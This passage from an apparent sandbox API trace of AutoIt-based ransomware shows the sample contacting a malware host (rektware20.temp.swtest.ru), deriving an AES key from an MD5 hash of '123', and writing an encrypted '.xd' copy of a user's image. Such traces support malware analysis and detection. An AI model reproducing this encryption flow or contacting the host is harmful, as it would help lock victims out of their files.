cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FhU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hU15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="15.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0079.817] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.817] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.818] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0079.818] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.818] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0079.818] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0079.818] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.818] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0079.818] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0079.818] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c) returned 1 [0079.818] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.818] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.818] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.819] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0079.819] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0079.819] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0079.819] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0079.819] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629410, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629410*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0079.819] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.819] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.820] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.820] CloseHandle (hObject=0x0) returned 0 [0079.820] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.820] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0079.820] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0079.820] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.820] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.820] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.820] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.820] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.820] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.820] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0079.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.821] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0079.821] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.821] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.821] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.821] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.821] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0079.821] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0079.821] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0079.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0079.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0079.822] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0079.822] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1632078) returned 1 [0079.822] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.824] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0079.824] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.824] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.824] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.824] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0079.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.824] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.825] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.825] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.825] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.825] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.825] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.825] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.825] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.825] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0079.826] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0079.826] CryptCreateHash (in: hProv=0x1632078, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0079.826] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.826] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.826] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.826] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.826] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0079.826] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.827] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.827] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.827] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0079.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0079.827] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0079.827] CryptHashData (hHash=0x164c8b0, pbData=0x1629460, dwDataLen=0x3, dwFlags=0x1) returned 1 [0079.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.827] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.827] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.827] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.827] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.827] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0079.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0079.828] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0079.828] CryptDeriveKey (in: hProv=0x1632078, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c930) returned 1 [0079.828] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.828] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.828] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.828] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.828] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.828] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.828] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0079.828] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0079.829] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0079.829] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0079.829] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.829] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\fhu15.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0079.829] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.829] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0079.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.830] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0079.830] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\FhU15.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\fhu15.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0079.831] PeekMessageW (in: lpMsg=0x130f164, 